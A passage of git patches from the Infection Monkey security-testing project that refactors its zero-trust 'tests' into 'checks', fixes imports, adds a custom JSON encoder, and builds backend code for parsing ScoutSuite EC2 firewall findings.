AggregateFinding.create_or_add_to_existing( + MonkeyFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, status=found_elastic_search_server, events=events ) - add_malicious_activity_to_timeline(events) + MonkeyFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py similarity index 78% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py index 51109130a..941bc4643 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py @@ -1,10 +1,9 @@ import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.aggregate_finding import ( - AggregateFinding, add_malicious_activity_to_timeline) from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService -def test_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): +def check_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): events = [ Event.create_event( title="Exploit attempt", @@ -30,10 +29,10 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target ) status = zero_trust_consts.STATUS_FAILED - AggregateFinding.create_or_add_to_existing( + MonkeyFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, events=events ) - add_malicious_activity_to_timeline(events) + MonkeyFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py similarity index 97% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py index 717f57896..2e40c0698 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py @@ -19,7 +19,7 @@ SEGMENTATION_VIOLATION_EVENT_TEXT = \ "managed to communicate cross segment to {target_ip} (in segment {target_seg})." -def test_segmentation_violation(current_monkey, target_ip): +def check_segmentation_violation(current_monkey, target_ip): # TODO - lower code duplication between this and report.py. subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: @@ -73,7 +73,7 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t ) -def test_passed_findings_for_unreached_segments(current_monkey): +def check_passed_findings_for_unreached_segments(current_monkey): flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist] create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py similarity index 94% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py index 937cc5baf..9139d05f6 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py @@ -6,7 +6,7 @@ from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.segmentation_finding import \ SegmentationFinding -from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import \ create_or_add_findings_for_all_pairs from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -15,7 +15,7 @@ SECOND_SUBNET = "2.2.2.0/24" THIRD_SUBNET = "3.3.3.3-3.3.3.200" -class TestSegmentationTests(IslandTestCase): +class TestSegmentationChecks(IslandTestCase): def test_create_findings_for_all_done_pairs(self): self.fail_if_not_testing_env() self.clean_finding_db() diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py similarity index 78% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py index 341acbf5a..dd46ec1eb 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py @@ -1,13 +1,12 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import ( - AggregateFinding, add_malicious_activity_to_timeline) from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.telemetry.processing.utils import \ get_tunnel_host_ip_from_proxy_field +from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService -def test_tunneling_violation(tunnel_telemetry_json): +def check_tunneling_violation(tunnel_telemetry_json): if tunnel_telemetry_json['data']['proxy'] is not None: # Monkey is tunneling, create findings tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json) @@ -20,10 +19,10 @@ def test_tunneling_violation(tunnel_telemetry_json): timestamp=tunnel_telemetry_json['timestamp'] )] - AggregateFinding.create_or_add_to_existing( + MonkeyFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_TUNNELING, status=zero_trust_consts.STATUS_FAILED, events=tunneling_events ) - add_malicious_activity_to_timeline(tunneling_events) + MonkeyFindingService.add_malicious_activity_to_timeline(tunneling_events) From d9ba4dd3a42cffb520100f0ab8ad826a06b83151 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 8 Sep 2020 14:08:36 +0300 Subject: [PATCH 016/466] Small modifications: bug in ZT report resource and unused imports removed --- monkey/monkey_island/cc/resources/reporting/report.py | 3 ++- .../cc/services/zero_trust/zero_trust_service.py | 4 ---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index f1b95607f..546f944a3 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -5,6 +5,7 @@ from flask import jsonify from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.reporting.report import ReportService +from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService from monkey_island.cc.services.zero_trust.zero_trust_service import \ ZeroTrustService @@ -35,6 +36,6 @@ class Report(flask_restful.Resource): elif report_data == REPORT_DATA_PRINCIPLES_STATUS: return jsonify(ZeroTrustService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: - return jsonify(ZeroTrustService.get_all_monkey_findings()) + return jsonify(MonkeyFindingService.get_all_monkey_findings()) flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_service.py index 613132a54..75af0da0a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_service.py @@ -1,7 +1,3 @@ -from typing import List - -from bson.objectid import ObjectId - import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding From 96f3052dc2e85334bc21d9dac920e9e738066c28 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 11 Sep 2020 16:12:18 +0300 Subject: [PATCH 017/466] Bugfix: imports, related to "common_consts renaming" fixed. --- monkey/infection_monkey/post_breach/actions/timestomping.py | 2 +- .../monkey_island/cc/services/attack/technique_reports/T1099.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/timestomping.py b/monkey/infection_monkey/post_breach/actions/timestomping.py index 50a940524..b1de27245 100644 --- a/monkey/infection_monkey/post_breach/actions/timestomping.py +++ b/monkey/infection_monkey/post_breach/actions/timestomping.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_TIMESTOMPING +from common.common_consts.post_breach_consts import POST_BREACH_TIMESTOMPING from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.timestomping.timestomping import \ get_timestomping_commands diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py index 9cd4dc903..9e96a5b2a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py @@ -1,4 +1,4 @@ -from common.data.post_breach_consts import POST_BREACH_TIMESTOMPING +from common.common_consts.post_breach_consts import POST_BREACH_TIMESTOMPING from monkey_island.cc.services.attack.technique_reports.pba_technique import \ PostBreachTechnique From 5a6a68fde057d24f64864616872770a1d6490867 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 18 Sep 2020 09:28:31 +0300 Subject: [PATCH 018/466] Changed default flask json encoder so we could encode objects with custom fields, like field of type ObjectId --- monkey/monkey_island/cc/app.py | 3 +++ monkey/monkey_island/cc/custom_json_encoder.py | 13 +++++++++++++ 2 files changed, 16 insertions(+) create mode 100644 monkey/monkey_island/cc/custom_json_encoder.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 4bbf159c8..8ed7189f3 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -8,6 +8,7 @@ from werkzeug.exceptions import NotFound import monkey_island.cc.environment.environment_singleton as env_singleton from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.custom_json_encoder import CustomJSONEncoder from monkey_island.cc.database import database, mongo from monkey_island.cc.resources.attack.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_report import AttackReport @@ -85,6 +86,8 @@ def init_app_config(app, mongo_url): # configuration. See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. app.config['JSON_SORT_KEYS'] = False + app.json_encoder = CustomJSONEncoder + def init_app_services(app): init_jwt(app) diff --git a/monkey/monkey_island/cc/custom_json_encoder.py b/monkey/monkey_island/cc/custom_json_encoder.py new file mode 100644 index 000000000..8c945a224 --- /dev/null +++ b/monkey/monkey_island/cc/custom_json_encoder.py @@ -0,0 +1,13 @@ +from bson import ObjectId +from flask.json import JSONEncoder + + +class CustomJSONEncoder(JSONEncoder): + + def default(self, obj): + try: + if isinstance(obj, ObjectId): + return obj.__str__() + except TypeError: + pass + return JSONEncoder.default(self, obj) From 0b9b89f63968feadd025e17d8b967b733f47bca1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 18 Sep 2020 10:01:14 +0300 Subject: [PATCH 019/466] Added rule path creators, which helps to extract scoutsuite rules from scoutsuite report data --- monkey/common/utils/exceptions.py | 4 +++ .../zero_trust/scoutsuite/consts/ec2_rules.py | 22 +++++++++++++++ .../scoutsuite/data_parsing/rule_parsing.py | 28 +++++++++++++++++++ .../abstract_rule_path_creator.py | 23 +++++++++++++++ .../ec2_rule_path_creator.py | 11 ++++++++ .../rule_path_creators_list.py | 4 +++ 6 files changed, 92 insertions(+) create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/ec2_rules.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parsing.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/ec2_rule_path_creator.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index fa026933c..5103b297e 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -20,3 +20,7 @@ class CredentialsNotRequiredError(RegistrationNotNeededError): class AlreadyRegisteredError(RegistrationNotNeededError): """ Raise to indicate the reason why registration is not required """ + + +class RulePathCreatorNotFound(Exception): + """ Raise to indicate that ScoutSuite rule doesn't have a path creator""" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/ec2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/ec2_rules.py new file mode 100644 index 000000000..421dbca41 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/ec2_rules.py @@ -0,0 +1,22 @@ +from enum import Enum + + +class EC2Rules(Enum): + SECURITY_GROUP_ALL_PORTS_TO_ALL = 'ec2-security-group-opens-all-ports-to-all' + SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = 'ec2-security-group-opens-TCP-port-to-all' + SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL = 'ec2-security-group-opens-UDP-port-to-all' + SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL = 'ec2-security-group-opens-RDP-port-to-all' + SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL = 'ec2-security-group-opens-SSH-port-to-all' + SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL = 'ec2-security-group-opens-MySQL-port-to-all' + SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL = 'ec2-security-group-opens-MsSQL-port-to-all' + SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL = 'ec2-security-group-opens-MongoDB-port-to-all' + SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL = 'ec2-security-group-opens-Oracle DB-port-to-all' + SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL = 'ec2-security-group-opens-PostgreSQL-port-to-all' + SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL = 'ec2-security-group-opens-NFS-port-to-all' + SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL = 'ec2-security-group-opens-SMTP-port-to-all' + SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL = 'ec2-security-group-opens-DNS-port-to-all' + SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF = 'ec2-security-group-opens-all-ports-to-self' + SECURITY_GROUP_OPENS_ALL_PORTS = 'ec2-security-group-opens-all-ports' + SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP = 'ec2-security-group-opens-plaintext-port-FTP' + SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET = 'ec2-security-group-opens-plaintext-port-Telnet' + SECURITY_GROUP_OPENS_PORT_RANGE = 'ec2-security-group-opens-port-range' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parsing.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parsing.py new file mode 100644 index 000000000..3a9f9b58b --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parsing.py @@ -0,0 +1,28 @@ +from typing import Union + +from common.utils.code_utils import get_object_value_by_path +from common.utils.exceptions import RulePathCreatorNotFound +from monkey_island.cc.services.zero_trust.scoutsuite.consts.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import \ + RULE_PATH_CREATORS_LIST + + +class RuleParser: + + @staticmethod + def get_rule_data(scoutsuite_data, rule_name: Union[EC2Rules]): + rule_path = RuleParser.get_rule_path(rule_name) + return get_object_value_by_path(scoutsuite_data, rule_path) + + @staticmethod + def get_rule_path(rule_name: Union[EC2Rules]): + creator = RuleParser.get_rule_path_creator(rule_name) + return creator.build_rule_path(rule_name) + + @staticmethod + def get_rule_path_creator(rule_name: Union[EC2Rules]): + for rule_path_creator in RULE_PATH_CREATORS_LIST: + if rule_name in rule_path_creator.supported_rules: + return rule_path_creator + raise RulePathCreatorNotFound(f"Rule path creator not found for rule {rule_name.value}. Make sure to assign" + f"this rule to any rule path creators.") diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py new file mode 100644 index 000000000..f7113fc50 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/abstract_rule_path_creator.py @@ -0,0 +1,23 @@ +from abc import ABC, abstractmethod +from typing import List, Union + +from monkey_island.cc.services.zero_trust.scoutsuite.consts.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES, FINDINGS, SERVICE_TYPES + + +class AbstractRulePathCreator(ABC): + + @property + @abstractmethod + def service_type(self) -> SERVICE_TYPES: + pass + + @property + @abstractmethod + def supported_rules(self) -> List[Union[EC2Rules]]: + pass + + @classmethod + def build_rule_path(cls, rule_name: Union[EC2Rules]) -> List[str]: + assert(rule_name in cls.supported_rules) + return [SERVICES, cls.service_type.value, FINDINGS, rule_name.value] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/ec2_rule_path_creator.py new file mode 100644 index 000000000..4c13325bc --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/ec2_rule_path_creator.py @@ -0,0 +1,11 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.ec2_rules import EC2Rules +from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import \ + SERVICE_TYPES +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ + AbstractRulePathCreator + + +class EC2RulePathCreator(AbstractRulePathCreator): + + service_type = SERVICE_TYPES.EC2 + supported_rules = EC2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py new file mode 100644 index 000000000..6c4ff21df --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py @@ -0,0 +1,4 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.ec2_rule_path_creator import \ + EC2RulePathCreator + +RULE_PATH_CREATORS_LIST = [EC2RulePathCreator] From 4440027699eaf6f7ad99e86069b2ec0b1f675172 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 18 Sep 2020 10:13:27 +0300 Subject: [PATCH 020/466] Backend ScoutSuite backend code, which handles ScoutSuite data reception, parsing and storing --- .../common/common_consts/zero_trust_consts.py | 19 +++++- monkey/common/utils/code_utils.py | 17 +++++ .../cc/models/zero_trust/finding.py | 30 +++++---- .../models/zero_trust/scoutsuite_data_json.py | 19 ++++++ .../models/zero_trust/scoutsuite_finding.py | 17 ----- .../zero_trust/scoutsuite_finding_details.py | 16 ++--- .../cc/models/zero_trust/scoutsuite_rule.py | 26 ++++++++ .../cc/resources/reporting/report.py | 14 +++- .../telemetry/processing/scoutsuite.py | 21 +++++- .../cc/services/zero_trust/events_service.py | 8 ++- .../cc/services/zero_trust/finding_service.py | 14 +++- .../zero_trust/monkey_finding_service.py | 13 +--- .../zero_trust/scoutsuite/consts/__init__.py | 0 .../zero_trust/scoutsuite/consts/findings.py | 19 ++++++ .../scoutsuite/consts/findings_list.py | 3 + .../scoutsuite/consts/rule_consts.py | 4 ++ .../scoutsuite/consts/service_consts.py | 9 +++ .../scoutsuite/scoutsuite_finding_service.py | 65 +++++++++++++++++++ .../scoutsuite/scoutsuite_rule_service.py | 30 +++++++++ .../zero_trust/scoutsuite_finding_service.py | 3 - 20 files changed, 286 insertions(+), 61 deletions(-) create mode 100644 monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py delete mode 100644 monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py create mode 100644 monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/__init__.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_finding_service.py create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite_finding_service.py diff --git a/monkey/common/common_consts/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py index 8d55bc320..edc40d0f2 100644 --- a/monkey/common/common_consts/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -22,6 +22,11 @@ STATUS_FAILED = "Failed" # Don't change order! The statuses are ordered by importance/severity. ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED] +MONKEY_FINDING = "monkey_finding" +SCOUTSUITE_FINDING = "scoutsuite_finding" +FINDING_TYPES = [MONKEY_FINDING, SCOUTSUITE_FINDING] + + TEST_DATA_ENDPOINT_ELASTIC = "unencrypted_data_endpoint_elastic" TEST_DATA_ENDPOINT_HTTP = "unencrypted_data_endpoint_http" TEST_MACHINE_EXPLOITED = "machine_exploited" @@ -31,6 +36,7 @@ TEST_MALICIOUS_ACTIVITY_TIMELINE = "malicious_activity_timeline" TEST_SEGMENTATION = "segmentation" TEST_TUNNELING = "tunneling" TEST_COMMUNICATE_AS_NEW_USER = "communicate_as_new_user" +TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES = "scoutsuite_permissive_firewall_rules" TESTS = ( TEST_SEGMENTATION, TEST_MALICIOUS_ACTIVITY_TIMELINE, @@ -40,7 +46,8 @@ TESTS = ( TEST_DATA_ENDPOINT_HTTP, TEST_DATA_ENDPOINT_ELASTIC, TEST_TUNNELING, - TEST_COMMUNICATE_AS_NEW_USER + TEST_COMMUNICATE_AS_NEW_USER, + TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES ) PRINCIPLE_DATA_TRANSIT = "data_transit" @@ -165,6 +172,16 @@ TESTS_MAP = { PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, + TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: { + TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.", + STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules." + }, + PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, + PILLARS_KEY: [NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, } EVENT_TYPE_MONKEY_NETWORK = "monkey_network" diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py index 214e6d108..32f972a76 100644 --- a/monkey/common/utils/code_utils.py +++ b/monkey/common/utils/code_utils.py @@ -1,5 +1,10 @@ # abstract, static method decorator # noinspection PyPep8Naming +import operator +from functools import reduce +from typing import List + + class abstractstatic(staticmethod): __slots__ = () @@ -8,3 +13,15 @@ class abstractstatic(staticmethod): function.__isabstractmethod__ = True __isabstractmethod__ = True + + +def _get_value_by_path(data, path: List[str]): + return reduce(operator.getitem, path, data) + + +def get_object_value_by_path(data_object: object, path: List[str]): + return _get_value_by_path(data_object, path) + + +def get_dict_value_by_path(data_dict: dict, path: List[str]): + return _get_value_by_path(data_dict, path) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 8895a7fdb..6d0827e39 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -2,16 +2,15 @@ """ Define a Document Schema for Zero Trust findings. """ -from typing import List +from typing import Union from mongoengine import Document, StringField, GenericLazyReferenceField import common.common_consts.zero_trust_consts as zero_trust_consts # Dummy import for mongoengine. # noinspection PyUnresolvedReferences -from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutsuiteFindingDetails +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails class Finding(Document): @@ -35,7 +34,8 @@ class Finding(Document): # SCHEMA test = StringField(required=True, choices=zero_trust_consts.TESTS) status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) - details = GenericLazyReferenceField(choices=[MonkeyFindingDetails, ScoutsuiteFindingDetails], required=True) + type = StringField(required=True, choices=zero_trust_consts.FINDING_TYPES) + details = GenericLazyReferenceField(choices=[MonkeyFindingDetails, ScoutSuiteFindingDetails], required=True) # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance meta = {'allow_inheritance': True} @@ -48,11 +48,19 @@ class Finding(Document): # Creation methods @staticmethod - def save_finding(test: str, status: str, detail_ref): - finding = Finding(test=test, - status=status, - details=detail_ref) + def save_finding(test: str, + status: str, + detail_ref: Union[MonkeyFindingDetails, ScoutSuiteFindingDetails]): + temp_finding = Finding(test=test, + status=status, + details=detail_ref, + type=Finding._get_finding_type_by_details(detail_ref)) + temp_finding.save() + return temp_finding - finding.save() - - return finding + @staticmethod + def _get_finding_type_by_details(details: Union[MonkeyFindingDetails, ScoutSuiteFindingDetails]) -> str: + if type(details) == MonkeyFindingDetails: + return zero_trust_consts.MONKEY_FINDING + else: + return zero_trust_consts.SCOUTSUITE_FINDING diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py new file mode 100644 index 000000000..4b493e878 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py @@ -0,0 +1,19 @@ +from mongoengine import Document, DynamicField + + +class ScoutSuiteDataJson(Document): + """ + This model is a container for ScoutSuite report data dump. + """ + + # SCHEMA + scoutsuite_data = DynamicField(required=True) + + # LOGIC + @staticmethod + def add_scoutsuite_data(scoutsuite_data: str) -> None: + current_data = ScoutSuiteDataJson.objects() + if not current_data: + current_data = ScoutSuiteDataJson() + current_data.scoutsuite_data = scoutsuite_data + current_data.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py deleted file mode 100644 index f8d0f5042..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py +++ /dev/null @@ -1,17 +0,0 @@ -from datetime import datetime - -from mongoengine import DateTimeField, EmbeddedDocument, StringField - - -class ScoutsuiteFinding(EmbeddedDocument): - # SCHEMA - temp = StringField(required=True) - - # LOGIC - @staticmethod - def create_scoutsuite_finding(title, message, event_type, timestamp=None): - scoutsuite_finding = ScoutsuiteFinding() - - scoutsuite_finding.temp = "temp" - - return scoutsuite_finding diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py index ed05f6003..52aa09d17 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py @@ -1,11 +1,9 @@ -from typing import List +from mongoengine import Document, EmbeddedDocumentListField -from mongoengine import DateTimeField, Document, StringField, EmbeddedDocumentListField - -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutsuiteFinding +from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -class ScoutsuiteFindingDetails(Document): +class ScoutSuiteFindingDetails(Document): """ This model represents additional information about monkey finding: Events if monkey finding @@ -13,7 +11,9 @@ class ScoutsuiteFindingDetails(Document): """ # SCHEMA - scoutsuite_findings = EmbeddedDocumentListField(document_type=ScoutsuiteFinding, required=False) + scoutsuite_rules = EmbeddedDocumentListField(document_type=ScoutSuiteRule, required=False) - def add_scoutsuite_findings(self, scoutsuite_findings: List[ScoutsuiteFinding]) -> None: - self.update(push_all__scoutsuite_findings=scoutsuite_findings) + def add_rule(self, rule: ScoutSuiteRule) -> None: + if rule not in self.scoutsuite_rules: + self.scoutsuite_rules.append(rule) + self.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py new file mode 100644 index 000000000..316a5402e --- /dev/null +++ 